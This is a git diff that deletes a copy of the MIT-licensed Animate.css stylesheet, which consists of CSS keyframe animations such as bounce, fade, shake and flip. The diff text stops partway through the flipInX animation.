diff --git a/newDesign/assets/css/animate.css b/newDesign/assets/css/animate.css deleted file mode 100644 index 97f28788e..000000000 --- a/newDesign/assets/css/animate.css +++ /dev/null @@ -1,2744 +0,0 @@ -@charset "UTF-8"; - - -/*! -Animate.css - http://daneden.me/animate -Licensed under the MIT license - -Copyright (c) 2013 Daniel Eden - -Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. -*/ - -.animated { - -webkit-animation-duration: 1s; - animation-duration: 1s; - -webkit-animation-fill-mode: both; - animation-fill-mode: both; -} - -.animated.hinge { - -webkit-animation-duration: 2s; - animation-duration: 2s; -} - -@-webkit-keyframes bounce { - 0%, 20%, 50%, 80%, 100% { - -webkit-transform: translateY(0); - transform: translateY(0); - } - - 40% { - -webkit-transform: translateY(-30px); - transform: translateY(-30px); - } - - 60% { - -webkit-transform: translateY(-15px); - transform: translateY(-15px); - } -} - -@keyframes bounce { - 0%, 20%, 50%, 80%, 100% { - -webkit-transform: translateY(0); - -ms-transform: translateY(0); - transform: translateY(0); - } - - 40% { - -webkit-transform: translateY(-30px); - -ms-transform: translateY(-30px); - transform: translateY(-30px); - } - - 60% { - -webkit-transform: translateY(-15px); - -ms-transform: translateY(-15px); - transform: translateY(-15px); - } -} - -.bounce { - -webkit-animation-name: bounce; - animation-name: bounce; -} - -@-webkit-keyframes flash { - 0%, 50%, 100% { - opacity: 1; - } - - 25%, 75% { - opacity: 0; - } -} - -@keyframes flash { - 0%, 50%, 100% { - opacity: 1; - } - - 25%, 75% { - opacity: 0; - } -} - -.flash { - -webkit-animation-name: flash; - animation-name: flash; -} - -/* originally authored by Nick Pettit - https://github.com/nickpettit/glide */ - -@-webkit-keyframes pulse { - 0% { - -webkit-transform: scale(1); - transform: scale(1); - } - - 50% { - -webkit-transform: scale(1.1); - transform: scale(1.1); - } - - 100% { - -webkit-transform: scale(1); - transform: scale(1); - } -} - -@keyframes pulse { - 0% { - -webkit-transform: scale(1); - -ms-transform: scale(1); - transform: scale(1); - } - - 50% { - -webkit-transform: scale(1.1); - -ms-transform: scale(1.1); - transform: scale(1.1); - } - - 100% { - -webkit-transform: scale(1); - -ms-transform: scale(1); - transform: scale(1); - } -} - -.pulse { - -webkit-animation-name: pulse; - animation-name: pulse; -} - -@-webkit-keyframes shake { - 0%, 100% { - -webkit-transform: translateX(0); - transform: translateX(0); - } - - 10%, 30%, 50%, 70%, 90% { - -webkit-transform: translateX(-10px); - transform: translateX(-10px); - } - - 20%, 40%, 60%, 80% { - -webkit-transform: translateX(10px); - transform: translateX(10px); - } -} - -@keyframes shake { - 0%, 100% { - -webkit-transform: translateX(0); - -ms-transform: translateX(0); - transform: translateX(0); - } - - 10%, 30%, 50%, 70%, 90% { - -webkit-transform: translateX(-10px); - -ms-transform: translateX(-10px); - transform: translateX(-10px); - } - - 20%, 40%, 60%, 80% { - -webkit-transform: translateX(10px); - -ms-transform: translateX(10px); - transform: translateX(10px); - } -} - -.shake { - -webkit-animation-name: shake; - animation-name: shake; -} - -@-webkit-keyframes swing { - 20% { - -webkit-transform: rotate(15deg); - transform: rotate(15deg); - } - - 40% { - -webkit-transform: rotate(-10deg); - transform: rotate(-10deg); - } - - 60% { - -webkit-transform: rotate(5deg); - transform: rotate(5deg); - } - - 80% { - -webkit-transform: rotate(-5deg); - transform: rotate(-5deg); - } - - 100% { - -webkit-transform: rotate(0deg); - transform: rotate(0deg); - } -} - -@keyframes swing { - 20% { - -webkit-transform: rotate(15deg); - -ms-transform: rotate(15deg); - transform: rotate(15deg); - } - - 40% { - -webkit-transform: rotate(-10deg); - -ms-transform: rotate(-10deg); - transform: rotate(-10deg); - } - - 60% { - -webkit-transform: rotate(5deg); - -ms-transform: rotate(5deg); - transform: rotate(5deg); - } - - 80% { - -webkit-transform: rotate(-5deg); - -ms-transform: rotate(-5deg); - transform: rotate(-5deg); - } - - 100% { - -webkit-transform: rotate(0deg); - -ms-transform: rotate(0deg); - transform: rotate(0deg); - } -} - -.swing { - -webkit-transform-origin: top center; - -ms-transform-origin: top center; - transform-origin: top center; - -webkit-animation-name: swing; - animation-name: swing; -} - -@-webkit-keyframes tada { - 0% { - -webkit-transform: scale(1); - transform: scale(1); - } - - 10%, 20% { - -webkit-transform: scale(0.9) rotate(-3deg); - transform: scale(0.9) rotate(-3deg); - } - - 30%, 50%, 70%, 90% { - -webkit-transform: scale(1.1) rotate(3deg); - transform: scale(1.1) rotate(3deg); - } - - 40%, 60%, 80% { - -webkit-transform: scale(1.1) rotate(-3deg); - transform: scale(1.1) rotate(-3deg); - } - - 100% { - -webkit-transform: scale(1) rotate(0); - transform: scale(1) rotate(0); - } -} - -@keyframes tada { - 0% { - -webkit-transform: scale(1); - -ms-transform: scale(1); - transform: scale(1); - } - - 10%, 20% { - -webkit-transform: scale(0.9) rotate(-3deg); - -ms-transform: scale(0.9) rotate(-3deg); - transform: scale(0.9) rotate(-3deg); - } - - 30%, 50%, 70%, 90% { - -webkit-transform: scale(1.1) rotate(3deg); - -ms-transform: scale(1.1) rotate(3deg); - transform: scale(1.1) rotate(3deg); - } - - 40%, 60%, 80% { - -webkit-transform: scale(1.1) rotate(-3deg); - -ms-transform: scale(1.1) rotate(-3deg); - transform: scale(1.1) rotate(-3deg); - } - - 100% { - -webkit-transform: scale(1) rotate(0); - -ms-transform: scale(1) rotate(0); - transform: scale(1) rotate(0); - } -} - -.tada { - -webkit-animation-name: tada; - animation-name: tada; -} - -/* originally authored by Nick Pettit - https://github.com/nickpettit/glide */ - -@-webkit-keyframes wobble { - 0% { - -webkit-transform: translateX(0%); - transform: translateX(0%); - } - - 15% { - -webkit-transform: translateX(-25%) rotate(-5deg); - transform: translateX(-25%) rotate(-5deg); - } - - 30% { - -webkit-transform: translateX(20%) rotate(3deg); - transform: translateX(20%) rotate(3deg); - } - - 45% { - -webkit-transform: translateX(-15%) rotate(-3deg); - transform: translateX(-15%) rotate(-3deg); - } - - 60% { - -webkit-transform: translateX(10%) rotate(2deg); - transform: translateX(10%) rotate(2deg); - } - - 75% { - -webkit-transform: translateX(-5%) rotate(-1deg); - transform: translateX(-5%) rotate(-1deg); - } - - 100% { - -webkit-transform: translateX(0%); - transform: translateX(0%); - } -} - -@keyframes wobble { - 0% { - -webkit-transform: translateX(0%); - -ms-transform: translateX(0%); - transform: translateX(0%); - } - - 15% { - -webkit-transform: translateX(-25%) rotate(-5deg); - -ms-transform: translateX(-25%) rotate(-5deg); - transform: translateX(-25%) rotate(-5deg); - } - - 30% { - -webkit-transform: translateX(20%) rotate(3deg); - -ms-transform: translateX(20%) rotate(3deg); - transform: translateX(20%) rotate(3deg); - } - - 45% { - -webkit-transform: translateX(-15%) rotate(-3deg); - -ms-transform: translateX(-15%) rotate(-3deg); - transform: translateX(-15%) rotate(-3deg); - } - - 60% { - -webkit-transform: translateX(10%) rotate(2deg); - -ms-transform: translateX(10%) rotate(2deg); - transform: translateX(10%) rotate(2deg); - } - - 75% { - -webkit-transform: translateX(-5%) rotate(-1deg); - -ms-transform: translateX(-5%) rotate(-1deg); - transform: translateX(-5%) rotate(-1deg); - } - - 100% { - -webkit-transform: translateX(0%); - -ms-transform: translateX(0%); - transform: translateX(0%); - } -} - -.wobble { - -webkit-animation-name: wobble; - animation-name: wobble; -} - -@-webkit-keyframes bounceIn { - 0% { - opacity: 0; - -webkit-transform: scale(.3); - transform: scale(.3); - } - - 50% { - opacity: 1; - -webkit-transform: scale(1.05); - transform: scale(1.05); - } - - 70% { - -webkit-transform: scale(.9); - transform: scale(.9); - } - - 100% { - -webkit-transform: scale(1); - transform: scale(1); - } -} - -@keyframes bounceIn { - 0% { - opacity: 0; - -webkit-transform: scale(.3); - -ms-transform: scale(.3); - transform: scale(.3); - } - - 50% { - opacity: 1; - -webkit-transform: scale(1.05); - -ms-transform: scale(1.05); - transform: scale(1.05); - } - - 70% { - -webkit-transform: scale(.9); - -ms-transform: scale(.9); - transform: scale(.9); - } - - 100% { - -webkit-transform: scale(1); - -ms-transform: scale(1); - transform: scale(1); - } -} - -.bounceIn { - -webkit-animation-name: bounceIn; - animation-name: bounceIn; -} - -@-webkit-keyframes bounceInDown { - 0% { - opacity: 0; - -webkit-transform: translateY(-2000px); - transform: translateY(-2000px); - } - - 60% { - opacity: 1; - -webkit-transform: translateY(30px); - transform: translateY(30px); - } - - 80% { - -webkit-transform: translateY(-10px); - transform: translateY(-10px); - } - - 100% { - -webkit-transform: translateY(0); - transform: translateY(0); - } -} - -@keyframes bounceInDown { - 0% { - opacity: 0; - -webkit-transform: translateY(-2000px); - -ms-transform: translateY(-2000px); - transform: translateY(-2000px); - } - - 60% { - opacity: 1; - -webkit-transform: translateY(30px); - -ms-transform: translateY(30px); - transform: translateY(30px); - } - - 80% { - -webkit-transform: translateY(-10px); - -ms-transform: translateY(-10px); - transform: translateY(-10px); - } - - 100% { - -webkit-transform: translateY(0); - -ms-transform: translateY(0); - transform: translateY(0); - } -} - -.bounceInDown { - -webkit-animation-name: bounceInDown; - animation-name: bounceInDown; -} - -@-webkit-keyframes bounceInLeft { - 0% { - opacity: 0; - -webkit-transform: translateX(-2000px); - transform: translateX(-2000px); - } - - 60% { - opacity: 1; - -webkit-transform: translateX(30px); - transform: translateX(30px); - } - - 80% { - -webkit-transform: translateX(-10px); - transform: translateX(-10px); - } - - 100% { - -webkit-transform: translateX(0); - transform: translateX(0); - } -} - -@keyframes bounceInLeft { - 0% { - opacity: 0; - -webkit-transform: translateX(-2000px); - -ms-transform: translateX(-2000px); - transform: translateX(-2000px); - } - - 60% { - opacity: 1; - -webkit-transform: translateX(30px); - -ms-transform: translateX(30px); - transform: translateX(30px); - } - - 80% { - -webkit-transform: translateX(-10px); - -ms-transform: translateX(-10px); - transform: translateX(-10px); - } - - 100% { - -webkit-transform: translateX(0); - -ms-transform: translateX(0); - transform: translateX(0); - } -} - -.bounceInLeft { - -webkit-animation-name: bounceInLeft; - animation-name: bounceInLeft; -} - -@-webkit-keyframes bounceInRight { - 0% { - opacity: 0; - -webkit-transform: translateX(2000px); - transform: translateX(2000px); - } - - 60% { - opacity: 1; - -webkit-transform: translateX(-30px); - transform: translateX(-30px); - } - - 80% { - -webkit-transform: translateX(10px); - transform: translateX(10px); - } - - 100% { - -webkit-transform: translateX(0); - transform: translateX(0); - } -} - -@keyframes bounceInRight { - 0% { - opacity: 0; - -webkit-transform: translateX(2000px); - -ms-transform: translateX(2000px); - transform: translateX(2000px); - } - - 60% { - opacity: 1; - -webkit-transform: translateX(-30px); - -ms-transform: translateX(-30px); - transform: translateX(-30px); - } - - 80% { - -webkit-transform: translateX(10px); - -ms-transform: translateX(10px); - transform: translateX(10px); - } - - 100% { - -webkit-transform: translateX(0); - -ms-transform: translateX(0); - transform: translateX(0); - } -} - -.bounceInRight { - -webkit-animation-name: bounceInRight; - animation-name: bounceInRight; -} - -@-webkit-keyframes bounceInUp { - 0% { - opacity: 0; - -webkit-transform: translateY(2000px); - transform: translateY(2000px); - } - - 60% { - opacity: 1; - -webkit-transform: translateY(-30px); - transform: translateY(-30px); - } - - 80% { - -webkit-transform: translateY(10px); - transform: translateY(10px); - } - - 100% { - -webkit-transform: translateY(0); - transform: translateY(0); - } -} - -@keyframes bounceInUp { - 0% { - opacity: 0; - -webkit-transform: translateY(2000px); - -ms-transform: translateY(2000px); - transform: translateY(2000px); - } - - 60% { - opacity: 1; - -webkit-transform: translateY(-30px); - -ms-transform: translateY(-30px); - transform: translateY(-30px); - } - - 80% { - -webkit-transform: translateY(10px); - -ms-transform: translateY(10px); - transform: translateY(10px); - } - - 100% { - -webkit-transform: translateY(0); - -ms-transform: translateY(0); - transform: translateY(0); - } -} - -.bounceInUp { - -webkit-animation-name: bounceInUp; - animation-name: bounceInUp; -} - -@-webkit-keyframes bounceOut { - 0% { - -webkit-transform: scale(1); - transform: scale(1); - } - - 25% { - -webkit-transform: scale(.95); - transform: scale(.95); - } - - 50% { - opacity: 1; - -webkit-transform: scale(1.1); - transform: scale(1.1); - } - - 100% { - opacity: 0; - -webkit-transform: scale(.3); - transform: scale(.3); - } -} - -@keyframes bounceOut { - 0% { - -webkit-transform: scale(1); - -ms-transform: scale(1); - transform: scale(1); - } - - 25% { - -webkit-transform: scale(.95); - -ms-transform: scale(.95); - transform: scale(.95); - } - - 50% { - opacity: 1; - -webkit-transform: scale(1.1); - -ms-transform: scale(1.1); - transform: scale(1.1); - } - - 100% { - opacity: 0; - -webkit-transform: scale(.3); - -ms-transform: scale(.3); - transform: scale(.3); - } -} - -.bounceOut { - -webkit-animation-name: bounceOut; - animation-name: bounceOut; -} - -@-webkit-keyframes bounceOutDown { - 0% { - -webkit-transform: translateY(0); - transform: translateY(0); - } - - 20% { - opacity: 1; - -webkit-transform: translateY(-20px); - transform: translateY(-20px); - } - - 100% { - opacity: 0; - -webkit-transform: translateY(2000px); - transform: translateY(2000px); - } -} - -@keyframes bounceOutDown { - 0% { - -webkit-transform: translateY(0); - -ms-transform: translateY(0); - transform: translateY(0); - } - - 20% { - opacity: 1; - -webkit-transform: translateY(-20px); - -ms-transform: translateY(-20px); - transform: translateY(-20px); - } - - 100% { - opacity: 0; - -webkit-transform: translateY(2000px); - -ms-transform: translateY(2000px); - transform: translateY(2000px); - } -} - -.bounceOutDown { - -webkit-animation-name: bounceOutDown; - animation-name: bounceOutDown; -} - -@-webkit-keyframes bounceOutLeft { - 0% { - -webkit-transform: translateX(0); - transform: translateX(0); - } - - 20% { - opacity: 1; - -webkit-transform: translateX(20px); - transform: translateX(20px); - } - - 100% { - opacity: 0; - -webkit-transform: translateX(-2000px); - transform: translateX(-2000px); - } -} - -@keyframes bounceOutLeft { - 0% { - -webkit-transform: translateX(0); - -ms-transform: translateX(0); - transform: translateX(0); - } - - 20% { - opacity: 1; - -webkit-transform: translateX(20px); - -ms-transform: translateX(20px); - transform: translateX(20px); - } - - 100% { - opacity: 0; - -webkit-transform: translateX(-2000px); - -ms-transform: translateX(-2000px); - transform: translateX(-2000px); - } -} - -.bounceOutLeft { - -webkit-animation-name: bounceOutLeft; - animation-name: bounceOutLeft; -} - -@-webkit-keyframes bounceOutRight { - 0% { - -webkit-transform: translateX(0); - transform: translateX(0); - } - - 20% { - opacity: 1; - -webkit-transform: translateX(-20px); - transform: translateX(-20px); - } - - 100% { - opacity: 0; - -webkit-transform: translateX(2000px); - transform: translateX(2000px); - } -} - -@keyframes bounceOutRight { - 0% { - -webkit-transform: translateX(0); - -ms-transform: translateX(0); - transform: translateX(0); - } - - 20% { - opacity: 1; - -webkit-transform: translateX(-20px); - -ms-transform: translateX(-20px); - transform: translateX(-20px); - } - - 100% { - opacity: 0; - -webkit-transform: translateX(2000px); - -ms-transform: translateX(2000px); - transform: translateX(2000px); - } -} - -.bounceOutRight { - -webkit-animation-name: bounceOutRight; - animation-name: bounceOutRight; -} - -@-webkit-keyframes bounceOutUp { - 0% { - -webkit-transform: translateY(0); - transform: translateY(0); - } - - 20% { - opacity: 1; - -webkit-transform: translateY(20px); - transform: translateY(20px); - } - - 100% { - opacity: 0; - -webkit-transform: translateY(-2000px); - transform: translateY(-2000px); - } -} - -@keyframes bounceOutUp { - 0% { - -webkit-transform: translateY(0); - -ms-transform: translateY(0); - transform: translateY(0); - } - - 20% { - opacity: 1; - -webkit-transform: translateY(20px); - -ms-transform: translateY(20px); - transform: translateY(20px); - } - - 100% { - opacity: 0; - -webkit-transform: translateY(-2000px); - -ms-transform: translateY(-2000px); - transform: translateY(-2000px); - } -} - -.bounceOutUp { - -webkit-animation-name: bounceOutUp; - animation-name: bounceOutUp; -} - -@-webkit-keyframes fadeIn { - 0% { - opacity: 0; - } - - 100% { - opacity: 1; - } -} - -@keyframes fadeIn { - 0% { - opacity: 0; - } - - 100% { - opacity: 1; - } -} - -.fadeIn { - -webkit-animation-name: fadeIn; - animation-name: fadeIn; -} - -@-webkit-keyframes fadeInDown { - 0% { - opacity: 0; - -webkit-transform: translateY(-20px); - transform: translateY(-20px); - } - - 100% { - opacity: 1; - -webkit-transform: translateY(0); - transform: translateY(0); - } -} - -@keyframes fadeInDown { - 0% { - opacity: 0; - -webkit-transform: translateY(-20px); - -ms-transform: translateY(-20px); - transform: translateY(-20px); - } - - 100% { - opacity: 1; - -webkit-transform: translateY(0); - -ms-transform: translateY(0); - transform: translateY(0); - } -} - -.fadeInDown { - -webkit-animation-name: fadeInDown; - animation-name: fadeInDown; -} - -@-webkit-keyframes fadeInDownBig { - 0% { - opacity: 0; - -webkit-transform: translateY(-2000px); - transform: translateY(-2000px); - } - - 100% { - opacity: 1; - -webkit-transform: translateY(0); - transform: translateY(0); - } -} - -@keyframes fadeInDownBig { - 0% { - opacity: 0; - -webkit-transform: translateY(-2000px); - -ms-transform: translateY(-2000px); - transform: translateY(-2000px); - } - - 100% { - opacity: 1; - -webkit-transform: translateY(0); - -ms-transform: translateY(0); - transform: translateY(0); - } -} - -.fadeInDownBig { - -webkit-animation-name: fadeInDownBig; - animation-name: fadeInDownBig; -} - -@-webkit-keyframes fadeInLeft { - 0% { - opacity: 0; - -webkit-transform: translateX(-20px); - transform: translateX(-20px); - } - - 100% { - opacity: 1; - -webkit-transform: translateX(0); - transform: translateX(0); - } -} - -@keyframes fadeInLeft { - 0% { - opacity: 0; - -webkit-transform: translateX(-20px); - -ms-transform: translateX(-20px); - transform: translateX(-20px); - } - - 100% { - opacity: 1; - -webkit-transform: translateX(0); - -ms-transform: translateX(0); - transform: translateX(0); - } -} - -.fadeInLeft { - -webkit-animation-name: fadeInLeft; - animation-name: fadeInLeft; -} - -@-webkit-keyframes fadeInLeftBig { - 0% { - opacity: 0; - -webkit-transform: translateX(-2000px); - transform: translateX(-2000px); - } - - 100% { - opacity: 1; - -webkit-transform: translateX(0); - transform: translateX(0); - } -} - -@keyframes fadeInLeftBig { - 0% { - opacity: 0; - -webkit-transform: translateX(-2000px); - -ms-transform: translateX(-2000px); - transform: translateX(-2000px); - } - - 100% { - opacity: 1; - -webkit-transform: translateX(0); - -ms-transform: translateX(0); - transform: translateX(0); - } -} - -.fadeInLeftBig { - -webkit-animation-name: fadeInLeftBig; - animation-name: fadeInLeftBig; -} - -@-webkit-keyframes fadeInRight { - 0% { - opacity: 0; - -webkit-transform: translateX(20px); - transform: translateX(20px); - } - - 100% { - opacity: 1; - -webkit-transform: translateX(0); - transform: translateX(0); - } -} - -@keyframes fadeInRight { - 0% { - opacity: 0; - -webkit-transform: translateX(20px); - -ms-transform: translateX(20px); - transform: translateX(20px); - } - - 100% { - opacity: 1; - -webkit-transform: translateX(0); - -ms-transform: translateX(0); - transform: translateX(0); - } -} - -.fadeInRight { - -webkit-animation-name: fadeInRight; - animation-name: fadeInRight; -} - -@-webkit-keyframes fadeInRightBig { - 0% { - opacity: 0; - -webkit-transform: translateX(2000px); - transform: translateX(2000px); - } - - 100% { - opacity: 1; - -webkit-transform: translateX(0); - transform: translateX(0); - } -} - -@keyframes fadeInRightBig { - 0% { - opacity: 0; - -webkit-transform: translateX(2000px); - -ms-transform: translateX(2000px); - transform: translateX(2000px); - } - - 100% { - opacity: 1; - -webkit-transform: translateX(0); - -ms-transform: translateX(0); - transform: translateX(0); - } -} - -.fadeInRightBig { - -webkit-animation-name: fadeInRightBig; - animation-name: fadeInRightBig; -} - -@-webkit-keyframes fadeInUp { - 0% { - opacity: 0; - -webkit-transform: translateY(20px); - transform: translateY(20px); - } - - 100% { - opacity: 1; - -webkit-transform: translateY(0); - transform: translateY(0); - } -} - -@keyframes fadeInUp { - 0% { - opacity: 0; - -webkit-transform: translateY(20px); - -ms-transform: translateY(20px); - transform: translateY(20px); - } - - 100% { - opacity: 1; - -webkit-transform: translateY(0); - -ms-transform: translateY(0); - transform: translateY(0); - } -} - -.fadeInUp { - -webkit-animation-name: fadeInUp; - animation-name: fadeInUp; -} - -@-webkit-keyframes fadeInUpBig { - 0% { - opacity: 0; - -webkit-transform: translateY(2000px); - transform: translateY(2000px); - } - - 100% { - opacity: 1; - -webkit-transform: translateY(0); - transform: translateY(0); - } -} - -@keyframes fadeInUpBig { - 0% { - opacity: 0; - -webkit-transform: translateY(2000px); - -ms-transform: translateY(2000px); - transform: translateY(2000px); - } - - 100% { - opacity: 1; - -webkit-transform: translateY(0); - -ms-transform: translateY(0); - transform: translateY(0); - } -} - -.fadeInUpBig { - -webkit-animation-name: fadeInUpBig; - animation-name: fadeInUpBig; -} - -@-webkit-keyframes fadeOut { - 0% { - opacity: 1; - } - - 100% { - opacity: 0; - } -} - -@keyframes fadeOut { - 0% { - opacity: 1; - } - - 100% { - opacity: 0; - } -} - -.fadeOut { - -webkit-animation-name: fadeOut; - animation-name: fadeOut; -} - -@-webkit-keyframes fadeOutDown { - 0% { - opacity: 1; - -webkit-transform: translateY(0); - transform: translateY(0); - } - - 100% { - opacity: 0; - -webkit-transform: translateY(20px); - transform: translateY(20px); - } -} - -@keyframes fadeOutDown { - 0% { - opacity: 1; - -webkit-transform: translateY(0); - -ms-transform: translateY(0); - transform: translateY(0); - } - - 100% { - opacity: 0; - -webkit-transform: translateY(20px); - -ms-transform: translateY(20px); - transform: translateY(20px); - } -} - -.fadeOutDown { - -webkit-animation-name: fadeOutDown; - animation-name: fadeOutDown; -} - -@-webkit-keyframes fadeOutDownBig { - 0% { - opacity: 1; - -webkit-transform: translateY(0); - transform: translateY(0); - } - - 100% { - opacity: 0; - -webkit-transform: translateY(2000px); - transform: translateY(2000px); - } -} - -@keyframes fadeOutDownBig { - 0% { - opacity: 1; - -webkit-transform: translateY(0); - -ms-transform: translateY(0); - transform: translateY(0); - } - - 100% { - opacity: 0; - -webkit-transform: translateY(2000px); - -ms-transform: translateY(2000px); - transform: translateY(2000px); - } -} - -.fadeOutDownBig { - -webkit-animation-name: fadeOutDownBig; - animation-name: fadeOutDownBig; -} - -@-webkit-keyframes fadeOutLeft { - 0% { - opacity: 1; - -webkit-transform: translateX(0); - transform: translateX(0); - } - - 100% { - opacity: 0; - -webkit-transform: translateX(-20px); - transform: translateX(-20px); - } -} - -@keyframes fadeOutLeft { - 0% { - opacity: 1; - -webkit-transform: translateX(0); - -ms-transform: translateX(0); - transform: translateX(0); - } - - 100% { - opacity: 0; - -webkit-transform: translateX(-20px); - -ms-transform: translateX(-20px); - transform: translateX(-20px); - } -} - -.fadeOutLeft { - -webkit-animation-name: fadeOutLeft; - animation-name: fadeOutLeft; -} - -@-webkit-keyframes fadeOutLeftBig { - 0% { - opacity: 1; - -webkit-transform: translateX(0); - transform: translateX(0); - } - - 100% { - opacity: 0; - -webkit-transform: translateX(-2000px); - transform: translateX(-2000px); - } -} - -@keyframes fadeOutLeftBig { - 0% { - opacity: 1; - -webkit-transform: translateX(0); - -ms-transform: translateX(0); - transform: translateX(0); - } - - 100% { - opacity: 0; - -webkit-transform: translateX(-2000px); - -ms-transform: translateX(-2000px); - transform: translateX(-2000px); - } -} - -.fadeOutLeftBig { - -webkit-animation-name: fadeOutLeftBig; - animation-name: fadeOutLeftBig; -} - -@-webkit-keyframes fadeOutRight { - 0% { - opacity: 1; - -webkit-transform: translateX(0); - transform: translateX(0); - } - - 100% { - opacity: 0; - -webkit-transform: translateX(20px); - transform: translateX(20px); - } -} - -@keyframes fadeOutRight { - 0% { - opacity: 1; - -webkit-transform: translateX(0); - -ms-transform: translateX(0); - transform: translateX(0); - } - - 100% { - opacity: 0; - -webkit-transform: translateX(20px); - -ms-transform: translateX(20px); - transform: translateX(20px); - } -} - -.fadeOutRight { - -webkit-animation-name: fadeOutRight; - animation-name: fadeOutRight; -} - -@-webkit-keyframes fadeOutRightBig { - 0% { - opacity: 1; - -webkit-transform: translateX(0); - transform: translateX(0); - } - - 100% { - opacity: 0; - -webkit-transform: translateX(2000px); - transform: translateX(2000px); - } -} - -@keyframes fadeOutRightBig { - 0% { - opacity: 1; - -webkit-transform: translateX(0); - -ms-transform: translateX(0); - transform: translateX(0); - } - - 100% { - opacity: 0; - -webkit-transform: translateX(2000px); - -ms-transform: translateX(2000px); - transform: translateX(2000px); - } -} - -.fadeOutRightBig { - -webkit-animation-name: fadeOutRightBig; - animation-name: fadeOutRightBig; -} - -@-webkit-keyframes fadeOutUp { - 0% { - opacity: 1; - -webkit-transform: translateY(0); - transform: translateY(0); - } - - 100% { - opacity: 0; - -webkit-transform: translateY(-20px); - transform: translateY(-20px); - } -} - -@keyframes fadeOutUp { - 0% { - opacity: 1; - -webkit-transform: translateY(0); - -ms-transform: translateY(0); - transform: translateY(0); - } - - 100% { - opacity: 0; - -webkit-transform: translateY(-20px); - -ms-transform: translateY(-20px); - transform: translateY(-20px); - } -} - -.fadeOutUp { - -webkit-animation-name: fadeOutUp; - animation-name: fadeOutUp; -} - -@-webkit-keyframes fadeOutUpBig { - 0% { - opacity: 1; - -webkit-transform: translateY(0); - transform: translateY(0); - } - - 100% { - opacity: 0; - -webkit-transform: translateY(-2000px); - transform: translateY(-2000px); - } -} - -@keyframes fadeOutUpBig { - 0% { - opacity: 1; - -webkit-transform: translateY(0); - -ms-transform: translateY(0); - transform: translateY(0); - } - - 100% { - opacity: 0; - -webkit-transform: translateY(-2000px); - -ms-transform: translateY(-2000px); - transform: translateY(-2000px); - } -} - -.fadeOutUpBig { - -webkit-animation-name: fadeOutUpBig; - animation-name: fadeOutUpBig; -} - -@-webkit-keyframes flip { - 0% { - -webkit-transform: perspective(400px) translateZ(0) rotateY(0) scale(1); - transform: perspective(400px) translateZ(0) rotateY(0) scale(1); - -webkit-animation-timing-function: ease-out; - animation-timing-function: ease-out; - } - - 40% { - -webkit-transform: perspective(400px) translateZ(150px) rotateY(170deg) scale(1); - transform: perspective(400px) translateZ(150px) rotateY(170deg) scale(1); - -webkit-animation-timing-function: ease-out; - animation-timing-function: ease-out; - } - - 50% { - -webkit-transform: perspective(400px) translateZ(150px) rotateY(190deg) scale(1); - transform: perspective(400px) translateZ(150px) rotateY(190deg) scale(1); - -webkit-animation-timing-function: ease-in; - animation-timing-function: ease-in; - } - - 80% { - -webkit-transform: perspective(400px) translateZ(0) rotateY(360deg) scale(.95); - transform: perspective(400px) translateZ(0) rotateY(360deg) scale(.95); - -webkit-animation-timing-function: ease-in; - animation-timing-function: ease-in; - } - - 100% { - -webkit-transform: perspective(400px) translateZ(0) rotateY(360deg) scale(1); - transform: perspective(400px) translateZ(0) rotateY(360deg) scale(1); - -webkit-animation-timing-function: ease-in; - animation-timing-function: ease-in; - } -} - -@keyframes flip { - 0% { - -webkit-transform: perspective(400px) translateZ(0) rotateY(0) scale(1); - -ms-transform: perspective(400px) translateZ(0) rotateY(0) scale(1); - transform: perspective(400px) translateZ(0) rotateY(0) scale(1); - -webkit-animation-timing-function: ease-out; - animation-timing-function: ease-out; - } - - 40% { - -webkit-transform: perspective(400px) translateZ(150px) rotateY(170deg) scale(1); - -ms-transform: perspective(400px) translateZ(150px) rotateY(170deg) scale(1); - transform: perspective(400px) translateZ(150px) rotateY(170deg) scale(1); - -webkit-animation-timing-function: ease-out; - animation-timing-function: ease-out; - } - - 50% { - -webkit-transform: perspective(400px) translateZ(150px) rotateY(190deg) scale(1); - -ms-transform: perspective(400px) translateZ(150px) rotateY(190deg) scale(1); - transform: perspective(400px) translateZ(150px) rotateY(190deg) scale(1); - -webkit-animation-timing-function: ease-in; - animation-timing-function: ease-in; - } - - 80% { - -webkit-transform: perspective(400px) translateZ(0) rotateY(360deg) scale(.95); - -ms-transform: perspective(400px) translateZ(0) rotateY(360deg) scale(.95); - transform: perspective(400px) translateZ(0) rotateY(360deg) scale(.95); - -webkit-animation-timing-function: ease-in; - animation-timing-function: ease-in; - } - - 100% { - -webkit-transform: perspective(400px) translateZ(0) rotateY(360deg) scale(1); - -ms-transform: perspective(400px) translateZ(0) rotateY(360deg) scale(1); - transform: perspective(400px) translateZ(0) rotateY(360deg) scale(1); - -webkit-animation-timing-function: ease-in; - animation-timing-function: ease-in; - } -} - -.animated.flip { - -webkit-backface-visibility: visible; - -ms-backface-visibility: visible; - backface-visibility: visible; - -webkit-animation-name: flip; - animation-name: flip; -} - -@-webkit-keyframes flipInX { - 0% { - -webkit-transform: perspective(400px) rotateX(90deg); - transform: perspective(400px) rotateX(90deg); - opacity: 0; - } - - 40% { - -webkit-transform: perspective(400px) rotateX(-10deg); - transform: perspective(400px) rotateX(-10deg); - } - - 70% { - -webkit-transform: perspective(400px) rotateX(10deg); - transform: perspective(400px) rotateX(10deg); - } - - 100% { - -webkit-transform: perspective(400px) rotateX(0deg); - transform: perspective(400px) rotateX(0deg); - opacity: 1; - } -} - -@keyframes flipInX { - 0% { - -webkit-transform: perspective(400px) rotateX(90deg); - -ms-transform: perspective(400px) rotateX(90deg); - transform: perspective(400px) rotateX(90deg); - opacity: 0; - } - - 40% { - -webkit-transform: perspective(400px) rotateX(-10deg); - -ms-transform: perspective(400px) rotateX(-10deg); - transform: perspective(400px) 